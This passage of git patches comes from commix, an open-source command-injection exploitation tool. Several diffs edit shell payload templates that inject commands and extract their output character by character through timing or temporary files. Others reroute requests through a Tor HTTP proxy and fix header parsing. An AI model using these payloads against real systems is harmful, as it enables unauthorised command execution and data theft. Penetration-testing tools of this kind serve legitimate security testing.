"\n" payload = (separator + # Find the length of the output, using readline(). "str1=$(python -c \"print len(\'$(echo $(" + cmd + "))\')\")" + separator + @@ -363,7 +363,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + # Grab the execution output. "cmd=\"$(echo $(" + cmd + "))\"" + separator + @@ -445,7 +445,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=$(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " != ${str} ]" + separator + @@ -519,7 +519,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=\"$(" + cmd + ")\"" + separator + "if [ " + str(ascii_char) + " != $str ]" + separator + @@ -587,7 +587,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=$(python -c \"print $(echo $(" + cmd + "))\n\")" + separator + "if [ " + str(ascii_char) + " != ${str} ]" + separator + diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 538f2a37dd..0a6b6f38d0 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -64,7 +64,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=$(echo " + TAG + ">" + OUTPUT_TEXTFILE + ")" + separator + "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + @@ -146,7 +146,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). @@ -253,7 +253,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=$(" + cmd + ">" + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + "echo $str > " + OUTPUT_TEXTFILE + separator + @@ -349,7 +349,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). @@ -429,7 +429,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + # Use space as delimiter "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + @@ -504,7 +504,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " != ${str} ]" + separator + @@ -579,7 +579,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + "if [ " + str(ord(str(ascii_char))) + " != ${str} ]" + separator + @@ -647,7 +647,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " != ${str} ]" + separator + diff --git a/src/utils/settings.py b/src/utils/settings.py index 73691b84fc..fd75942e6c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "46" +REVISION = "47" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 11e46151331f333e6da93dc5cd426b6b34d726fc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 18 Jan 2022 07:41:33 +0200 Subject: [PATCH 0052/1023] Fixes https://github.com/commixproject/commix/issues/732 --- .../injections/blind/techniques/time_based/tb_injector.py | 2 +- .../semiblind/techniques/file_based/fb_injector.py | 5 ++++- src/utils/settings.py | 2 +- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index d0c8dc64a6..069a8a8c97 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -54,7 +54,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, request = _urllib.request.Request(target) # Check if defined method is POST. - else : + else: parameter = menu.options.data parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 242f3469b9..1eda1e4e04 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -201,12 +201,15 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht # Get the response of the request response = requests.get_request_response(request) - else : + else: # Check if defined method is POST. parameter = menu.options.data parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) + parameter = ''.join(str(e) for e in parameter).replace("+","%2B") + # Define the vulnerable parameter + vuln_parameter = parameters.vuln_POST_param(parameter, url) # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) diff --git a/src/utils/settings.py b/src/utils/settings.py index fd75942e6c..7fb0c2fd69 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "47" +REVISION = "48" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 896788996f621f5826a3bc174bf77735f0271359 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 19 Jan 2022 20:02:57 +0200 Subject: [PATCH 0053/1023] Fixes https://github.com/commixproject/commix/issues/731 (TOR HTTP Proxy) --- src/core/requests/requests.py | 10 ++++---- src/core/requests/tor.py | 47 ++++++++++++++--------------------- src/utils/settings.py | 9 ++++--- 3 files changed, 28 insertions(+), 38 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index ee1f89e857..f0063bdb21 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -410,7 +410,7 @@ def inject_cookie(url, vuln_parameter, payload, proxy): # Check if defined Tor. elif menu.options.tor: try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) + proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_cookie(url, vuln_parameter, payload, proxy) except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: @@ -542,7 +542,7 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): # Check if defined Tor. elif menu.options.tor: try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) + proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_user_agent(url, vuln_parameter, payload, proxy) except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: @@ -674,7 +674,7 @@ def inject_referer(url, vuln_parameter, payload, proxy): # Check if defined Tor. elif menu.options.tor: try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) + proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_referer(url, vuln_parameter, payload, proxy) except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: @@ -809,7 +809,7 @@ def inject_host(url, vuln_parameter, payload, proxy): # Check if defined Tor. elif menu.options.tor: try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) + proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_host(url, vuln_parameter, payload, proxy) except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: @@ -944,7 +944,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): # Check if defined Tor. elif menu.options.tor: try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) + proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_custom_header(url, vuln_parameter, payload, proxy) except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index b26c6eff63..b4c7473177 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -22,45 +22,33 @@ from src.utils import requirments from src.thirdparty.colorama import Fore, Back, Style, init -""" -Check for TOR HTTP Proxy. -""" + if menu.options.tor_port: - PRIVOXY_PORT = menu.options.tor_port + TOR_HTTP_PROXY_PORT = menu.options.tor_port else: - PRIVOXY_PORT = settings.PRIVOXY_PORT + TOR_HTTP_PROXY_PORT = settings.TOR_HTTP_PROXY_PORT """ -Check if HTTP Proxy (tor/privoxy) is defined. +Check if Tor HTTP proxy is defined. """ -def do_check(): - - # Check if 'tor' is installed. - requirment = "tor" - requirments.do_check(requirment) - - # Check if 'privoxy' is installed. - requirment = "privoxy" - requirments.do_check(requirment) - - check_privoxy_proxy = True - info_msg = "Testing Tor SOCKS proxy settings (" - info_msg += settings.PRIVOXY_IP + ":" + PRIVOXY_PORT +def do_check(): + check_tor_http_proxy = True + info_msg = "Testing Tor HTTP proxy settings (" + info_msg += settings.TOR_HTTP_PROXY_SCHEME + "://" + settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT info_msg += "). " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: - privoxy_proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + PRIVOXY_PORT}) - opener = _urllib.request.build_opener(privoxy_proxy) + tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT}) + opener = _urllib.request.build_opener(tor_http_proxy) _urllib.request.install_opener(opener) except: - check_privoxy_proxy = False + check_tor_http_proxy = False pass - if check_privoxy_proxy: + if check_tor_http_proxy: try: check_tor_page = opener.open("https://check.torproject.org/").read().decode(settings.DEFAULT_CODEC) - found_ip = re.findall(r": " + "(.*)" + "

", check_tor_page) if not "You are not using Tor" in check_tor_page: sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() @@ -68,6 +56,7 @@ def do_check(): info_msg = "Tor connection is properly set. " else: info_msg = "" + found_ip = re.findall(r": " + "(.*)" + "

", check_tor_page) info_msg += "Your ip address appears to be " + found_ip[0] + ".\n" sys.stdout.write(settings.print_bold_info_msg(info_msg)) warn_msg = "Increasing default value for option '--time-sec' to" @@ -80,9 +69,9 @@ def do_check(): err_msg = "It seems that your Tor connection is not properly set. " else: err_msg = "" - err_msg += "Can't establish connection with the Tor SOCKS proxy. " + err_msg += "Can't establish connection with the Tor HTTP proxy. " err_msg += "Please make sure that you have " - err_msg += "Tor installed and running so " + err_msg += "Tor bundle installed and running so " err_msg += "you could successfully use " err_msg += "switch '--tor'." print(settings.print_critical_msg(err_msg)) @@ -95,7 +84,7 @@ def do_check(): else: err_msg = "" err_msg = "Please make sure that you have " - err_msg += "Tor installed and running so " + err_msg += "Tor bundle installed and running so " err_msg += "you could successfully use " err_msg += "switch '--tor'." print(settings.print_critical_msg(err_msg)) @@ -118,8 +107,8 @@ def use_tor(request): raise SystemExit() try: - privoxy_proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + PRIVOXY_PORT}) - opener = _urllib.request.build_opener(privoxy_proxy) + tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT}) + opener = _urllib.request.build_opener(tor_http_proxy) _urllib.request.install_opener(opener) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response diff --git a/src/utils/settings.py b/src/utils/settings.py index 7fb0c2fd69..cbf11ef120 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "48" +REVISION = "49" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -560,9 +560,10 @@ def sys_argv_errors(): # Default Scheme SCHEME = "" -# Privoxy Proxy -PRIVOXY_IP = "127.0.0.1" -PRIVOXY_PORT = "8118" +# TOR HTTP Proxy +TOR_HTTP_PROXY_IP = "127.0.0.1" +TOR_HTTP_PROXY_PORT = "8118" +TOR_HTTP_PROXY_SCHEME = "https" # Cookie injection COOKIE_INJECTION = False From e81703654e4a139db520bdf8ff9d793318d452ea Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 20 Jan 2022 18:16:41 +0200 Subject: [PATCH 0054/1023] Minor update --- src/core/main.py | 24 ++++++++++++------------ src/utils/settings.py | 2 +- 2 files changed, 13 insertions(+), 13 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index e20a5b0db2..4d5204ecf4 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -824,18 +824,6 @@ def main(filename, url): if "=" in settings.TEST_PARAMETER[i]: settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] - # Check for HTTP Method - if len(settings.HTTP_METHOD) != 0: - http_request_method = settings.HTTP_METHOD.upper() - else: - if not menu.options.data or \ - not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in menu.options.url or \ - settings.INJECT_TAG in menu.options.url or \ - [x for x in settings.TEST_PARAMETER if(x + "=" in menu.options.url and not x in menu.options.data)]: - http_request_method = settings.HTTPMETHOD.GET - else: - http_request_method = settings.HTTPMETHOD.POST - # Define the level of tests to perform. if menu.options.level > 3: err_msg = "The value for option '--level' " @@ -858,6 +846,18 @@ def main(filename, url): elif menu.options.requestfile or menu.options.logfile: parser.logfile_parser() + # Check for HTTP Method + if len(settings.HTTP_METHOD) != 0: + http_request_method = settings.HTTP_METHOD.upper() + else: + if not menu.options.data or \ + not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in menu.options.url or \ + settings.INJECT_TAG in menu.options.url or \ + [x for x in settings.TEST_PARAMETER if(x + "=" in menu.options.url and not x in menu.options.data)]: + http_request_method = settings.HTTPMETHOD.GET + else: + http_request_method = settings.HTTPMETHOD.POST + if menu.options.offline: settings.CHECK_FOR_UPDATES_ON_START = False diff --git a/src/utils/settings.py b/src/utils/settings.py index cbf11ef120..122d1e45d4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "49" +REVISION = "50" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 0a129a05897fe7487c5c0ccf6a2ba6515e7fcf93 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 21 Jan 2022 08:25:46 +0200 Subject: [PATCH 0055/1023] Minor update --- src/core/requests/headers.py | 6 +++++- src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 850f794689..1376b770a7 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -320,6 +320,8 @@ def do_check(request): if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \ re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data): request.add_header("Content-Type", "application/json") + if re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): + request.add_header("Content-Type", "text/xml") # Appends a fake HTTP header 'X-Forwarded-For' if settings.TAMPER_SCRIPTS["xforwardedfor"]: @@ -327,7 +329,8 @@ def do_check(request): xforwardedfor.tamper(request) # Default value for "Accept-Encoding" HTTP header - request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) + if not (menu.options.requestfile or menu.options.logfile): + request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) # Check if defined any HTTP Authentication credentials. # HTTP Authentication: Basic / Digest Access Authentication. @@ -380,6 +383,7 @@ def do_check(request): extra_headers = menu.options.header extra_headers = extra_headers.replace(":",": ") + if ": //" in extra_headers: extra_headers = extra_headers.replace(": //" ,"://") diff --git a/src/utils/settings.py b/src/utils/settings.py index 122d1e45d4..c3ad9fa745 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "50" +REVISION = "51" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 299fa0797e685cf4074e0688860872767c55ab62 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 22 Jan 2022 16:58:41 +0200 Subject: [PATCH 0056/1023] Minor update --- src/core/injections/controller/parser.py | 8 ++++---- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index aee6857af8..16631fee56 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -149,17 +149,17 @@ def invalid_data(request): if re.findall(r"Host: " + "(.*)", line): menu.options.host = "".join([str(i) for i in re.findall(r"Host: " + "(.*)", line)]) # User-Agent Header - elif re.findall(r"User-Agent: " + "(.*)", line) and not (menu.options.agent or menu.options.mobile): + if re.findall(r"User-Agent: " + "(.*)", line): menu.options.agent = "".join([str(i) for i in re.findall(r"User-Agent: " + "(.*)", line)]) # Cookie Header - elif re.findall(r"Cookie: " + "(.*)", line): + if re.findall(r"Cookie: " + "(.*)", line): menu.options.cookie = "".join([str(i) for i in re.findall(r"Cookie: " + "(.*)", line)]) # Referer Header - elif re.findall(r"Referer: " + "(.*)", line): + if re.findall(r"Referer: " + "(.*)", line): menu.options.referer = "".join([str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) if menu.options.referer and "https://" in menu.options.referer: prefix = "https://" - elif re.findall(r"Authorization: " + "(.*)", line): + if re.findall(r"Authorization: " + "(.*)", line): auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split() menu.options.auth_type = auth_provided[0].lower() if menu.options.auth_type == "basic": diff --git a/src/utils/settings.py b/src/utils/settings.py index c3ad9fa745..d7edd5c7b0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "51" +REVISION = "52" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From eca27e074d74f088e90d8265801682cd69c2c2a6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 23 Jan 2022 09:22:56 +0200 Subject: [PATCH 0057/1023] Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). --- doc/CHANGELOG.md | 1 + src/core/requests/headers.py | 33 ++++++++++++++++++++++----------- src/utils/settings.py | 5 +++-- 3 files changed, 26 insertions(+), 13 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 02bdfbd41a..dc6398a556 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.4 (TBA) +* Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). * Fixed: Minor bug-fix regarding parsing JSON objects. * Added: New option ( `--drop-set-cookie`) for ignoring Set-Cookie header from response. * Added: Support for checking for not declared cookie(s). diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 1376b770a7..731a9eb0eb 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -301,7 +301,7 @@ def do_check(request): request.add_header(settings.HOST, menu.options.host) # Check if defined any User-Agent HTTP header. - if menu.options.agent: + if menu.options.agent and settings.USER_AGENT_INJECTION == None: request.add_header(settings.USER_AGENT, menu.options.agent) # Check if defined any Referer HTTP header. @@ -316,22 +316,22 @@ def do_check(request): request.add_header(settings.HTTP_ACCEPT_HEADER, settings.HTTP_ACCEPT_HEADER_VALUE) # The MIME media type for JSON. - if menu.options.data: + if menu.options.data and not (menu.options.requestfile or menu.options.logfile): if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \ re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data): - request.add_header("Content-Type", "application/json") - if re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): - request.add_header("Content-Type", "text/xml") + request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) + elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): + request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) + + # Default value for "Accept-Encoding" HTTP header + if not (menu.options.requestfile or menu.options.logfile): + request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) # Appends a fake HTTP header 'X-Forwarded-For' if settings.TAMPER_SCRIPTS["xforwardedfor"]: from src.core.tamper import xforwardedfor xforwardedfor.tamper(request) - # Default value for "Accept-Encoding" HTTP header - if not (menu.options.requestfile or menu.options.logfile): - request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) - # Check if defined any HTTP Authentication credentials. # HTTP Authentication: Basic / Digest Access Authentication. if menu.options.auth_cred and menu.options.auth_type: @@ -398,7 +398,18 @@ def do_check(request): # Remove empty strings extra_headers = [x for x in extra_headers if x] - + if menu.options.data: + # The MIME media type for JSON. + if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \ + re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data): + if "Content-Type" not in str(extra_headers): + request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) + elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): + if "Content-Type" not in str(extra_headers): + request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) + if "Accept-Encoding" not in str(extra_headers): + request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) + for extra_header in extra_headers: try: # Extra HTTP Header name @@ -414,7 +425,7 @@ def do_check(request): settings.CUSTOM_HEADER_NAME = http_header_name # Add HTTP Header name / value to the HTTP request if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: - request.add_header(http_header_name.encode(settings.DEFAULT_CODEC), http_header_value.encode(settings.DEFAULT_CODEC)) + request.add_header(http_header_name, http_header_value) except: pass diff --git a/src/utils/settings.py b/src/utils/settings.py index d7edd5c7b0..0d4d0a3c13 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "52" +REVISION = "53" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -722,8 +722,9 @@ def sys_argv_errors(): "utf-8-sig" ] -# Default value for HTTP Accept-Encoding header HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip, deflate" +HTTP_CONTENT_TYPE_JSON_HEADER_VALUE = "application/json" +HTTP_CONTENT_TYPE_XML_HEADER_VALUE = "text/xml" # Default server banner SERVER_BANNER = "" From d2d7ec39b2b807b3dbc6470499c1cbd001a42e34 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 24 Jan 2022 08:44:36 +0200 Subject: [PATCH 0058/1023] Fixes https://github.com/commixproject/commix/issues/734 --- doc/CHANGELOG.md | 1 + .../blind/techniques/time_based/tb_handler.py | 3 ++- .../blind/techniques/time_based/tb_injector.py | 8 ++++---- src/core/injections/controller/controller.py | 10 +++++----- .../results_based/techniques/classic/cb_handler.py | 3 ++- .../results_based/techniques/classic/cb_injector.py | 8 ++++---- .../results_based/techniques/eval_based/eb_handler.py | 2 +- .../results_based/techniques/eval_based/eb_injector.py | 8 ++++---- .../semiblind/techniques/file_based/fb_handler.py | 3 ++- .../semiblind/techniques/file_based/fb_injector.py | 8 ++++---- .../semiblind/techniques/tempfile_based/tfb_handler.py | 3 ++- .../techniques/tempfile_based/tfb_injector.py | 8 ++++---- src/core/modules/dns_exfiltration/dns_exfiltration.py | 6 ++++-- .../modules/icmp_exfiltration/icmp_exfiltration.py | 7 +++++-- src/utils/settings.py | 4 ++-- 15 files changed, 46 insertions(+), 36 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index dc6398a556..6cd1a56d48 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.4 (TBA) +* Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`). * Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). * Fixed: Minor bug-fix regarding parsing JSON objects. * Added: New option ( `--drop-set-cookie`) for ignoring Set-Cookie header from response. diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 91db9fdc07..7335eb83da 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -375,7 +375,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: header_name = "" the_type = " parameter" - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 069a8a8c97..a55951dc0e 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -45,8 +45,8 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, end = 0 start = time.time() - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) target = url.replace(settings.INJECT_TAG, payload) @@ -92,8 +92,8 @@ def injection_test(payload, http_request_method, url): end = 0 start = time.time() - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 110a7889f2..01d48e8882 